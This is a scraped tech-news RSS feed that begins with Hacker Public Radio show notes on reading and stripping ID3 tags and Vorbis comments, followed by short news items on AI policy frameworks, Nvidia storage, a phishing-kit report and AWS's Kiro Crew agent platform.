Now let us turn our attention to vorbis comments, which are the equivalent to tags for ogg files.</p>

<p>
We will look at this using two methods.</p>

<p>

</p>

<p>
55 Using vorbiscomment</p>

<p>
The first method we will look at is using the vorbiscomment package.</p>

<p>
The command is </p>

<p>

</p>

<p>
vorbiscomment -l hpr4678.ogg</p>

<p>

</p>

<p>
56</p>

<p>
The output of this is a series of lines with key value pairs separated by equal signs.</p>

<p>
The output is also exactly the same as the MP3 file, except that there is an additional "language" field, "track" becomes "TRACKNUMBER", and there is no "date" field.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
encoder=Lavc61.19.101 libvorbis</p>

<p>
TRACKNUMBER=4678</p>

<p>
year=2026</p>

<p>
language=English</p>

<p>
title=High Resolution Elapsed Time in Shell Scripts</p>

<p>
author=Whiskeyjack</p>

<p>
copyright=CC-BY-SA</p>

<p>
artist=Whiskeyjack</p>

<p>
album=Hacker Public Radio</p>

<p>
DESCRIPTION=https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
genre=Podcast</p>

<p>

</p>

<p>

</p>

<p>
57 Using ffprobe</p>

<p>
Now lets do the same again using ffprobe.</p>

<p>
The command for this is</p>

<p>

</p>

<p>
ffprobe -hide_banner hpr4678.ogg</p>

<p>

</p>

<p>
58</p>

<p>
The output content is the same of course, but the field names have all been forced to lower case, and instead of an equal sign as a separator between the key and value, this has been replaced by a colon and white space has been added to make the output look a bit nicer.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>
Input #0, ogg, from 'hpr4678.ogg':</p>

<p>
  Duration: 00:30:10.14, start: 0.000000, bitrate: 86 kb/s</p>

<p>
  Stream #0:0(English): Audio: vorbis, 192000 Hz, mono, fltp, 4294967 kb/s</p>

<p>
	Metadata:</p>

<p>
	  encoder         : Lavc61.19.101 libvorbis</p>

<p>
	  track           : 4678</p>

<p>
	  year            : 2026</p>

<p>
	  title           : High Resolution Elapsed Time in Shell Scripts</p>

<p>
	  author          : Whiskeyjack</p>

<p>
	  copyright       : CC-BY-SA</p>

<p>
	  artist          : Whiskeyjack</p>

<p>
	  album           : Hacker Public Radio</p>

<p>
	  comment         : https://hackerpublicradio.org Clean; Surprises encountered when measuring elapsed time in shell scripts The license is CC-BY-SA</p>

<p>
	  genre           : Podcast</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
59 Another Example from Another Podcast</p>

<p>

</p>

<p>
The above is interesting, but it's a sample of one podcast. Let's look at another different one altogether.</p>

<p>
For this test I used two episodes of the Linux Matters podcast, episodes 68 and 82. As to why I am using two different episodes I will explain in a moment.</p>

<p>

</p>

<p>
60 Episode 68</p>

<p>
We will start with examining episode 68</p>

<p>

</p>

<p>
Using id3v2</p>

<p>
The command using id3v2 is</p>

<p>

</p>

<p>
id3v2 -l LMP68.mp3</p>

<p>

</p>

<p>
61</p>

<p>
This provides output as a series of lines containing the official 4 character identifiers from the standard, a description of the identifiers, and the text provided by the authors.</p>

<p>
The identifiers include TIT2 indicating title, TALB indicating show title, TRCK indicating track number, and a number of others.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>

</p>

<p>
id3v2 tag info for LMP68.mp3:</p>

<p>
TIT2 (Title/songname/content description): 68: Frameworks, Filesystems and Fixes</p>

<p>
TPE1 (Lead performer(s)/Soloist(s)): Linux Matters</p>

<p>
TALB (Album/Movie/Show title): Linux Matters</p>

<p>
TYER (Year): 2025</p>

<p>
TRCK (Track number/Position in set): 68</p>

<p>
COMM (Comments): ()[]: https://linuxmatters.sh/</p>

<p>
APIC (Attached picture): (LMP-3000-moon.jpg)[, 3]: image/jpeg, 554576 bytes</p>

<p>
LMP68.mp3: No ID3v1 tag</p>

<p>

</p>

<p>
62</p>

<p>
From this we can see what the id3v2 program would normally do with ID3v2 tags. </p>

<p>
Note that it outputs the actual 4 character identifiers, plus a description of what they mean, and then the actual data.</p>

<p>
This helps when trying to understand the actual encoding of the data.</p>

<p>

</p>

<p>

</p>

<p>
63 Using ffprobe</p>

<p>
Now let's try that with ffprobe.</p>

<p>

</p>

<p>
The command is</p>

<p>

</p>

<p>
ffprobe -hide_banner LMP68.mp3</p>

<p>

</p>

<p>
64</p>

<p>
This provides the same publisher provided data as before.</p>

<p>
However it does not display the 4 character identifiers but instead uses its own format for display.</p>

<p>

</p>

<p>
Also note in both cases that there is a picture embedded in the MP3 file which is used to generate an icon for display in your file manager.</p>

<p>

</p>

<p>
With ffprobe this results in there being two keys called "title" and two keys called "comment". </p>

<p>
This makes grepping for the metadata more complicated, but it should still be possible.</p>

<p>
You can see the full output in the show notes.</p>

<p>

</p>

<p>

</p>

<p>
Input #0, mp3, from 'LMP68.mp3':</p>

<p>
  Metadata:</p>

<p>
	title           : 68: Frameworks, Filesystems and Fixes</p>

<p>
	artist          : Linux Matters</p>

<p>
	album           : Linux Matters</p>

<p>
	comment         : https://linuxmatters.sh/</p>

<p>
	track           : 68</p>

<p>
	date            : 2025</p>

<p>
  Duration: 00:28:12.45, start: 0.025056, bitrate: 114 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 44100 Hz, mono, fltp, 112 kb/s</p>

<p>
	Metadata:</p>

<p>
	  encoder         : LAME3.100</p>

<p>
  Stream #0:1: Video: mjpeg (Progressive), yuvj444p(pc, bt470bg/unknown/unknown), 4166x4166 [SAR 72:72 DAR 1:1], 90k tbr, 90k tbn (attached pic)</p>

<p>
	Metadata:</p>

<p>
	  title           : LMP-3000-moon.jpg</p>

<p>
	  comment         : Cover (front)</p>

<p>

</p>

<p>

</p>

<p>

</p>

<p>
65 Episode 82</p>

<p>
Now lets try that again with a different episode, 82.</p>

<p>

</p>

<p>
Using id3v2</p>

<p>

</p>

<p>
The command for id3v2 is</p>

<p>

</p>

<p>
id3v2 -l LMP82.mp3</p>

<p>

</p>

<p>
This results in id3v2 saying</p>

<p>

</p>

<p>
LMP82.mp3: No ID3 tag</p>

<p>

</p>

<p>
What happened here?</p>

<p>

</p>

<p>
66 Using ffprobe</p>

<p>

</p>

<p>
Let's try that again with ffprobe.</p>

<p>
The command</p>

<p>

</p>

<p>
ffprobe -hide_banner LMP82.mp3</p>

<p>

</p>

<p>
provides the expected output.</p>

<p>

</p>

<p>
Input #0, mp3, from 'LMP82.mp3':</p>

<p>
  Metadata:</p>

<p>
	date            : 2026-05</p>

<p>
	title           : 82: Ditching Grammarly for Open Sauce</p>

<p>
	album           : Linux Matters</p>

<p>
	track           : 82</p>

<p>
	artist          : Linux Matters</p>

<p>
	comment         : https://linuxmatters.sh</p>

<p>
  Duration: 00:33:37.83, start: 0.025056, bitrate: 113 kb/s</p>

<p>
  Stream #0:0: Audio: mp3, 44100 Hz, mono, fltp, 112 kb/s</p>

<p>
  Stream #0:1: Video: png, rgb24(pc, gbr/unknown/unknown), 3000x3000, 90k tbr, 90k tbn (attached pic)</p>

<p>
	Metadata:</p>

<p>
	  title           : Linux Matters Logo</p>

<p>
	  comment         : Cover (front)</p>

<p>

</p>

<p>
67</p>

<p>
This results in a few minor changes from episode 68, but otherwise it looks the same.</p>

<p>
So there are ID3 tags, but for some reason id3v2 couldn't recognize them.</p>

<p>

</p>

<p>
A bit more research and experimentation shows that this change appears to have happened right after episode 68, when they changed hosting and processing arrangements.</p>

<p>

</p>

<p>
I suspect that something changed with respect to the ID3v2 tag formatting somewhere along the way in the change over, and this in turn has affected the ability of the id3v2 program to recognize the tags.</p>

<p>

</p>

<p>
I will come back to the implications of this later in my conclusions.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
68 Stripping ID3 Tags</p>

<p>

</p>

<p>
Now let's turn to a differen topic. </p>

<p>

</p>

<p>
Stripping ID3 tags refers to removing the ID3 tags from the audio file.</p>

<p>

</p>

<p>
I will start off by emphasizing that normally, you don't want to do this.</p>

<p>
You should only be doing it if you suspect the ID3 tags are causing a problem with the playback or ordering of the files.</p>

<p>

</p>

<p>
69</p>

<p>
In my case I do it when I have problems with my MP3 player when playing certain podcasts.</p>

<p>
This MP3 player orders files according to ID3 tags rather than by file name.</p>

<p>
This can result in the podcasts being played in an unpredictable order which I find undesirable.</p>

<p>
This is particularly a problem with podcasts from certain publishers where the title data does not follow any consistent pattern, but is whatever someone felt like doing that day.</p>

<p>

</p>

<p>
70</p>

<p>
I also often have to normalize the files from the same publishers to get a consistent audio loudness.</p>

<p>
See my series on Simple Podcasting for information on how to use ffmpeg to normalize the audio loudness.</p>

<p>

</p>

<p>
The solution to the inconsistent tag formats in these cases is to simply strip the ID3 tags altogether.</p>

<p>
The player then falls back on using the file names, and I can readily rename the files to a consistent format.</p>

<p>

</p>

<p>
I have never had these sorts of problems with HPR podcasts.</p>

<p>
If you are not having any problems of this nature, then as I said, don't bother stripping the tags.</p>

<p>

</p>

<p>
71</p>

<p>
To strip the ID3 tags from an MP3 file use the following.</p>

<p>

</p>

<p>
id3v2 -D hpr4678.mp3</p>

<p>

</p>

<p>
id3v2 will strip the tags and overwrite the existing file.</p>

<p>
If you wish to keep a copy with the tags, be sure to keep a backup before you try things.</p>

<p>

</p>

<p>
72</p>

<p>
When it comes to stripping tags, the options are</p>

<p>

</p>

<p>
"-s" deletes ID3v1 tags.</p>

<p>
"-d" deletes ID3v2 tags.</p>

<p>
"-D" deletes both v1 and v2 tags.</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
73 Conclusions</p>

<p>

</p>

<p>
In this episode we took a very brief look at ID3 tags and vorbis comments and ways of reading them.</p>

<p>

</p>

<p>
74</p>

<p>
ID3 tags and Vorbis comments provide a means of allowing information about an MP3 or OGG Vorbis file to be embedded in the file itself.</p>

<p>
Podcast publishers very often use this to label the file with information such as title, publisher, and author.</p>

<p>
We can read this information using Fee Software tools such as ffprobe, ID3v2, and vorbiscomment.</p>

<p>

</p>

<p>
75</p>

<p>
ID3 tags seem to be a mess with more than one incompatible versions, and difficulties in reading them even within the same version.</p>

<p>
They are difficult to test for because there is so much hardware out there of varying ages, much of which you will never have heard of let alone had access to.</p>

<p>
If you are recording episodes for HPR you do not have to worry about this, as HPR will do this behind the scenes for you.</p>

<p>
However, if you are responsible for producing a podcast or other similar audio and you have a setup that works, it is probably best not to change anything without good reason. </p>

<p>

</p>

<p>
76</p>

<p>
Vorbis comments seem to be much less of a problem.</p>

<p>
However, there are far fewer devices which can play OGG files compared to MP3, so simply switching to OGG may not be a realistic solution to the ID3 tag problem.</p>

<p>

</p>

<p>
77</p>

<p>
If you wish to have one tool that can read ID3 tags of all sorts and vorbis comments, then ffprobe is your obvious choice.</p>

<p>

</p>

<p>
78</p>

<p>
The ID3v2 program will provide more information about the ID3 tags, including the actual identifiers used. However, it does not work in all cases.</p>

<p>

</p>

<p>
79</p>

<p>
The vorbiscomment program will read Vorbis comments from OGG files in a manner which is closer to the actual vorbis format than ffprobe does, which uses its own display format.</p>

<p>

</p>

<p>
80</p>

<p>
HPR includes both ID3v1 and ID3v2 tags in its MP3 files. </p>

<p>
ffprobe can be used to read the ID3v2 tags, and the id3v2 program can be used to read the ID3v1 tags.</p>

<p>
You can also read the ID3v1 tags using the tail command.</p>

<p>

</p>

<p>
81</p>

<p>
I have barely scratched the surface of this subject and have not talked at all about creating tags or comments.</p>

<p>
If anyone else would like to take up the challenge of providing more detail, or of correcting any mistakes that  have made, please send in a podcast episode on the subject.</p>

<p>
If you have any comments you would like to make, leave them in the comment section below this episode on the HPR web site.</p>

<p>

</p>

<p>
82</p>

<p>
I hope to see you all again in future in another episode of HPR.</p>

<p>

</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>
References</p>

<p>

</p>

<p>
https://id3.org/Introduction</p>

<p>
https://www.xiph.org/</p>

<p>
https://wiki.xiph.org/VorbisComment</p>

<p>

</p>

<p>
--------------------</p>

<p>

</p>

<p>

</p>


<p><a href="https://hackerpublicradio.org/eps/hpr4698/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Students Create National Framework for AI in Schools]]></title>
<description><![CDATA[Nearly 100 high school students from all 50 states met in Washington, D.C., last month to draft what they think a national policy for AI in K-12 education should look like.]]></description>
<link>https://tsecurity.de/de/3704517/ai-nachrichten/students-create-national-framework-for-ai-in-schools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704517/ai-nachrichten/students-create-national-framework-for-ai-in-schools/</guid>
<pubDate>Wed, 05 Aug 2026 01:30:38 +0200</pubDate>
<content:encoded><![CDATA[Nearly 100 high school students from all 50 states met in Washington, D.C., last month to draft what they think a national policy for AI in K-12 education should look like.]]></content:encoded>
</item>
<item>
<title><![CDATA[White House Readies A.I. Framework to Review Security Risks]]></title>
<description><![CDATA[The voluntary review process will cover closed-source artificial intelligence models, but exclude those that publish the underlying code.]]></description>
<link>https://tsecurity.de/de/3704458/it-nachrichten/white-house-readies-ai-framework-to-review-security-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704458/it-nachrichten/white-house-readies-ai-framework-to-review-security-risks/</guid>
<pubDate>Wed, 05 Aug 2026 00:31:41 +0200</pubDate>
<content:encoded><![CDATA[The voluntary review process will cover closed-source artificial intelligence models, but exclude those that publish the underlying code.]]></content:encoded>
</item>
<item>
<title><![CDATA[The White House Is Keeping Its AI Cybersecurity Framework Secret]]></title>
<description><![CDATA[The Trump administration shared the details of its plan with OpenAI, Anthropic, and other AI labs on Tuesday. For now, the public remains in the dark.]]></description>
<link>https://tsecurity.de/de/3704453/ai-nachrichten/the-white-house-is-keeping-its-ai-cybersecurity-framework-secret/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704453/ai-nachrichten/the-white-house-is-keeping-its-ai-cybersecurity-framework-secret/</guid>
<pubDate>Wed, 05 Aug 2026 00:30:17 +0200</pubDate>
<content:encoded><![CDATA[The Trump administration shared the details of its plan with OpenAI, Anthropic, and other AI labs on Tuesday. For now, the public remains in the dark.]]></content:encoded>
</item>
<item>
<title><![CDATA[White House Readies A.I. Framework to Review Security Risks]]></title>
<description><![CDATA[The voluntary review process will cover closed-source artificial intelligence models, but exclude those that publish the underlying code.]]></description>
<link>https://tsecurity.de/de/3704452/ai-nachrichten/white-house-readies-ai-framework-to-review-security-risks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704452/ai-nachrichten/white-house-readies-ai-framework-to-review-security-risks/</guid>
<pubDate>Wed, 05 Aug 2026 00:30:16 +0200</pubDate>
<content:encoded><![CDATA[The voluntary review process will cover closed-source artificial intelligence models, but exclude those that publish the underlying code.]]></content:encoded>
</item>
<item>
<title><![CDATA[The White House Is Keeping Its AI Cybersecurity Framework Secret]]></title>
<description><![CDATA[The Trump administration shared the details of its plan with OpenAI, Anthropic, and other AI labs on Tuesday. For now, the public remains in the dark.]]></description>
<link>https://tsecurity.de/de/3704406/it-nachrichten/the-white-house-is-keeping-its-ai-cybersecurity-framework-secret/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704406/it-nachrichten/the-white-house-is-keeping-its-ai-cybersecurity-framework-secret/</guid>
<pubDate>Wed, 05 Aug 2026 00:16:03 +0200</pubDate>
<content:encoded><![CDATA[The Trump administration shared the details of its plan with OpenAI, Anthropic, and other AI labs on Tuesday. For now, the public remains in the dark.]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Choose an AI Governance Framework (ISO 42001 vs. NIST)]]></title>
<description><![CDATA[Last Updated on August 4, 2026
The post How to Choose an AI Governance Framework (ISO 42001 vs. NIST) appeared first on Pivot Point Security.]]></description>
<link>https://tsecurity.de/de/3704369/it-security-nachrichten/how-to-choose-an-ai-governance-framework-iso-42001-vs-nist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704369/it-security-nachrichten/how-to-choose-an-ai-governance-framework-iso-42001-vs-nist/</guid>
<pubDate>Tue, 04 Aug 2026 23:27:26 +0200</pubDate>
<content:encoded><![CDATA[<p>Last Updated on August 4, 2026</p>
<p>The post <a href="https://www.pivotpointsecurity.com/how-to-choose-an-ai-governance-framework/">How to Choose an AI Governance Framework (ISO 42001 vs. NIST)</a> appeared first on <a href="https://www.pivotpointsecurity.com/">Pivot Point Security</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Next.js 16.3 aims to reduce dreaded FATAL ERROR messages]]></title>
<description><![CDATA[New React framework lowers memory usage by 90%, team claims]]></description>
<link>https://tsecurity.de/de/3704368/it-nachrichten/nextjs-163-aims-to-reduce-dreaded-fatal-error-messages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704368/it-nachrichten/nextjs-163-aims-to-reduce-dreaded-fatal-error-messages/</guid>
<pubDate>Tue, 04 Aug 2026 23:25:48 +0200</pubDate>
<content:encoded><![CDATA[New React framework lowers memory usage by 90%, team claims]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia moves to accelerate storage access, boost industry cooperation]]></title>
<description><![CDATA[Nvidia is looking to speed access to AI storage and memory systems by open-sourcing its cuFile APIs and software stack. It’s also promoting a new 40-vendor initiative that aims to standardize GPU-driven storage advancements.



At this week’s Future of Memory and Storage (FMS) conference, Nvidia ...]]></description>
<link>https://tsecurity.de/de/3704270/it-security-nachrichten/nvidia-moves-to-accelerate-storage-access-boost-industry-cooperation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704270/it-security-nachrichten/nvidia-moves-to-accelerate-storage-access-boost-industry-cooperation/</guid>
<pubDate>Tue, 04 Aug 2026 22:24:52 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.networkworld.com/article/3562856/nvidia-latest-news-and-insights__trashed.html">Nvidia</a> is looking to speed access to AI storage and memory systems by open-sourcing its <a href="https://github.com/xio-sig" target="_blank" rel="noreferrer noopener">cuFile</a> APIs and software stack. It’s also promoting a new 40-vendor initiative that aims to standardize GPU-driven storage advancements.</p>



<p class="wp-block-paragraph">At this week’s <a href="https://www.terrapinn.com/conference/future-memory-storage/index.stm">Future of Memory and Storage (FMS) conference</a>, Nvidia said it would open-source its cuFile APIs and the vertical storage software stack underneath them, which allow GPUs, not just CPUs, to read from and write to storage directly. cuFile is an Nvidia software library that is part of its GPUDirect Storage (GDS) platform, and the APIs will be developed under the <strong><a href="https://github.com/xio-sig">Accelerated IO Special Interest Group</a></strong> (xio-sig), an industry consortium focused on creating open standards for high-performance, low-latency I/O.</p>



<p class="wp-block-paragraph">The move is intended to foster broader adoption and interoperability across the AI storage industry, making cuFile a more open foundation for AI-native storage rather than a proprietary Nvidia-only interface, according to <a href="https://www.linkedin.com/in/hardyjason/">Jason Hardy</a>, vice president of storage technology at Nvidia. </p>



<p class="wp-block-paragraph">As GPUs become faster, storage is increasingly the bottleneck, and many GPUs can process data faster than many storage systems can deliver it. The idea behind cuFile is to increase storage throughput, reduce latency, improve GPU utilization, and speed AI training and inference workloads, Hardy wrote in a <a href="https://blogs.nvidia.com/blog/ai-storage-fms/">blog post</a> about the news.</p>



<p class="wp-block-paragraph">“Using hundreds of thousands of GPU threads, fast high-bandwidth memory and other methodologies, cuFile enables securely accessing data from storage in just microseconds,” Hardy wrote. “In addition, fast, secure access to data and storage is a foundational element to powering preventive and detective cybersecurity measures. Making cuFile openly available will help make security context, data and storage accessible at the speed AI-powered defenses need. Such open technologies support initiatives such as the new <a href="https://blogs.nvidia.com/blog/open-secure-ai-alliance/">Open Secure AI Alliance</a>.”</p>



<p class="wp-block-paragraph">The xio-sig site is the new home for APIs that are open to contributions — with Google, Intel, Nvidia, and Meta as some of the first contributors — and can be optimized for use across various software and hardware platforms, driving innovation and efficiency for developers and enterprises, according to Hardy.</p>



<p class="wp-block-paragraph">Nvidia also said it will be a leader of a new memory and storage industry initiative called Storage-Next. Storage-Next will bring together over 40 storage makers, controller vendors, thermal design, cooling and orchestration operators, and standards bodies to align on how GPU-driven storage should behave — then turn these advancements into interoperable, open industry standards, Hardy stated. The group will include DDN, Kioxa and Micron, each contributing to AI storage technologies.</p>



<p class="wp-block-paragraph">“The initiative is grounded in accelerated data access for large AI datasets. To support this effort, Nvidia offers scaled, accelerated data access or SCADA — a framework that lets massively parallel GPUs pull only the data necessary for the application directly from storage into their own high-speed memory,” Hardy stated.</p>



<p class="wp-block-paragraph">Storage vendor DDN is integrating SCADA with Infinia, its software-defined, AI-native data intelligence platform, for example. “Our collaboration with Nvidia is helping create a more direct, efficient connection between GPUs and data — keeping accelerated computing resources productive, speeding time to insight and enabling customers to achieve stronger business and financial returns from their AI investments,” stated Sven Oehme, chief technology officer at DDN, in the Hardy blog.</p>



<p class="wp-block-paragraph">Hardy added that Storage-Next and SCADA extend Nvidia’s <a href="https://zkresearch.com/the-convergence-of-context-why-nvidias-bluefield-4-stx-marries-the-network-and-storage-admin/">longstanding work on AI storag</a>e infrastructure, including its Nvidia Vera BlueField-4 STX — a modular, rack-scale foundation powered by the Nvidia Vera Rubin platform, Vera BlueField-4 storage processors, and Spectrum-X Ethernet networking. </p>



<p class="wp-block-paragraph">Nvidia’s STX unifies its Vera, Rubin, and BlueField-4 packages into a system fort high-performance storage, enterprise AI data, and memory. Nvidia STX is a key driver for the vendor as it unifies its Vera, Rubin, BlueField-4 and Spectrum-X Ethernet networking technologies to offer a blueprint for customers to upgrade traditional storage systems, Nvidia <a href="https://www.nvidia.com/en-us/data-center/ai-storage/stx/?utm_source=chatgpt.com">states</a>.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open Secure AI Alliance Expands at Black Hat: What You Should Know]]></title>
<description><![CDATA[The Open Secure AI Alliance introduced SAFE guidelines and open agent-security tools at Black Hat, giving enterprises a framework for safer AI deployment.
The post Open Secure AI Alliance Expands at Black Hat: What You Should Know appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3704178/it-security-nachrichten/open-secure-ai-alliance-expands-at-black-hat-what-you-should-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704178/it-security-nachrichten/open-secure-ai-alliance-expands-at-black-hat-what-you-should-know/</guid>
<pubDate>Tue, 04 Aug 2026 21:16:17 +0200</pubDate>
<content:encoded><![CDATA[<p>The Open Secure AI Alliance introduced SAFE guidelines and open agent-security tools at Black Hat, giving enterprises a framework for safer AI deployment.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-open-secure-ai-alliance-safe-guidelines-black-hat/">Open Secure AI Alliance Expands at Black Hat: What You Should Know</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Open Secure AI Alliance Expands at Black Hat: What You Should Know]]></title>
<description><![CDATA[The Open Secure AI Alliance introduced SAFE guidelines and open agent-security tools at Black Hat, giving enterprises a framework for safer AI deployment.
The post Open Secure AI Alliance Expands at Black Hat: What You Should Know appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3704164/it-nachrichten/open-secure-ai-alliance-expands-at-black-hat-what-you-should-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704164/it-nachrichten/open-secure-ai-alliance-expands-at-black-hat-what-you-should-know/</guid>
<pubDate>Tue, 04 Aug 2026 21:15:07 +0200</pubDate>
<content:encoded><![CDATA[<p>The Open Secure AI Alliance introduced SAFE guidelines and open agent-security tools at Black Hat, giving enterprises a framework for safer AI deployment.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-open-secure-ai-alliance-safe-guidelines-black-hat/">Open Secure AI Alliance Expands at Black Hat: What You Should Know</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Airlock Digital Unveils Agentic AI Control & Governance to Extend Preventative Endpoint Security]]></title>
<description><![CDATA[Atlanta, GA, August 4th, 2026, CyberNewswire Airlock Digital announces Agentic AI Control & Governance, extending its preventative endpoint security solution with visibility into trusted AI agent behavior and governance over what trusted agents are allowed to do on endpoints.  Airlock Digital, a ...]]></description>
<link>https://tsecurity.de/de/3704146/hacking/airlock-digital-unveils-agentic-ai-control-governance-to-extend-preventative-endpoint-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3704146/hacking/airlock-digital-unveils-agentic-ai-control-governance-to-extend-preventative-endpoint-security/</guid>
<pubDate>Tue, 04 Aug 2026 21:02:26 +0200</pubDate>
<content:encoded><![CDATA[<p>Atlanta, GA, August 4th, 2026, CyberNewswire Airlock Digital announces Agentic AI Control &amp; Governance, extending its preventative endpoint security solution with visibility into trusted AI agent behavior and governance over what trusted agents are allowed to do on endpoints.  Airlock Digital, a leader in preventative endpoint security, today announced Agentic AI Control &amp; Governance at […]</p>
<p>The post <a href="https://gbhackers.com/airlock-digital-unveils-agentic-ai-control-governance-to-extend-preventative-endpoint-security/">Airlock Digital Unveils Agentic AI Control &amp; Governance to Extend Preventative Endpoint Security</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Greatness PhaaS Adds Device Code Phishing to Bypass MFA and Steal Tokens]]></title>
<description><![CDATA[The commercial phishing-as-a-service (PhaaS) toolkit known as Greatness has become the latest crimeware solution to add support for device code phishing, a rapidly growing cyber threat that abuses the legitimate OAuth 2.0 Device Authorization Grant to bypass Multi-Factor Authentication (MFA) and ...]]></description>
<link>https://tsecurity.de/de/3703990/it-security-nachrichten/greatness-phaas-adds-device-code-phishing-to-bypass-mfa-and-steal-tokens/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703990/it-security-nachrichten/greatness-phaas-adds-device-code-phishing-to-bypass-mfa-and-steal-tokens/</guid>
<pubDate>Tue, 04 Aug 2026 19:39:06 +0200</pubDate>
<content:encoded><![CDATA[The commercial phishing-as-a-service (PhaaS) toolkit known as Greatness has become the latest crimeware solution to add support for device code phishing, a rapidly growing cyber threat that abuses the legitimate OAuth 2.0 Device Authorization Grant to bypass Multi-Factor Authentication (MFA) and seize control of user accounts.

"Greatness supports AiTM [adversary-in-the-middle] credential and]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS’s Kiro Crew aims to turn AI coding agents into autonomous engineering teams]]></title>
<description><![CDATA[AWS on Tuesday released Kiro Crew, an open-source orchestration platform designed to help enterprises move beyond interactive AI coding assistants toward long-running, autonomous engineering workflows that span repositories, developer tools, and multiple work sessions.



Rather than simply gener...]]></description>
<link>https://tsecurity.de/de/3703956/ai-nachrichten/awss-kiro-crew-aims-to-turn-ai-coding-agents-into-autonomous-engineering-teams/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3703956/ai-nachrichten/awss-kiro-crew-aims-to-turn-ai-coding-agents-into-autonomous-engineering-teams/</guid>
<pubDate>Tue, 04 Aug 2026 19:06:14 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">AWS on Tuesday released Kiro Crew, an open-source orchestration platform designed to help enterprises move beyond interactive AI coding assistants toward long-running, autonomous engineering workflows that span repositories, developer tools, and multiple work sessions.</p>



<p class="wp-block-paragraph">Rather than simply generating code, Kiro Crew coordinates multiple AI agents, schedules recurring work, preserves project context across sessions, and integrates with developer tools to investigate incidents, monitor pull requests (PRs), triage tickets, and automate software engineering tasks while developers are away from their keyboards, according to the hyperscaler.</p>



<p class="wp-block-paragraph">“Kiro Crew is a persistent, open-source development workspace for work that is bigger than a single task in a single session,” <a href="https://www.linkedin.com/in/darko-mesaros/" target="_blank" rel="noreferrer noopener">Darko Mesaros</a>, distinguished developer advocate at AWS, told InfoWorld. “Think of it as an application layer that turns AI coding agents into always-working, self-learning, autonomous teammates.”</p>



<p class="wp-block-paragraph">To support that model, the offering ships with persistent memory, multi-agent orchestration tools, approval workflows, scheduling, security controls such as sandboxing and signed audit logs, and a web and desktop dashboard for monitoring agent activity, the hyperscaler said in a statement.</p>



<p class="wp-block-paragraph">Kiro Crew was originally developed inside Amazon as an internal project called MeshClaw and was later adopted by more than 39,000 Amazon builders in less than six months.</p>



<p class="wp-block-paragraph">It can be deployed entirely inside customer environments, including laptops, containers, or virtual machines, without requiring an AWS account or AWS-managed control plane, AWS said.</p>



<p class="wp-block-paragraph">To demonstrate how the new offering can be used, AWS is also launching a set of reference applications built on top of it, including DevFleets for worktree management, Issue Radar for issue and pull-request triage, and Task Runner for executing long-running engineering tasks.</p>



<p class="wp-block-paragraph">Rather than standalone products, these apps combine purpose-built user interfaces with Kiro Crew’s orchestration engine, memory, scheduling, integrations, and backend services to automate specific engineering workflows, Mesaros said, adding that the hyperscaler is expected to add more such apps in the future.</p>



<h2 class="wp-block-heading">Boosting developer productivity</h2>



<p class="wp-block-paragraph">Such applications, according to <a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Michael Leone</a>, principal analyst at Moor Strategy and Insights, would help platform engineering, DevOps, and site reliability engineering (SRE) teams, where much of the work involves repetitive, long-running operational tasks rather than writing entirely new software.</p>



<p class="wp-block-paragraph">“These tasks can include dependency upgrades, framework migrations, flaky test cleanup, triaging and routing a ticket queue, and the first pass on an incident investigation,” Leone said.</p>



<p class="wp-block-paragraph">“It’s a strong fit for long-running migrations that require checkpoints and retries over hours without supervision,” echoed <a href="https://www.linkedin.com/in/manoj-chandra-jha-b5ab0a13/" target="_blank" rel="noreferrer noopener">Manoj Chandra Jha</a>, principal analyst at Nord-IQ Research.</p>



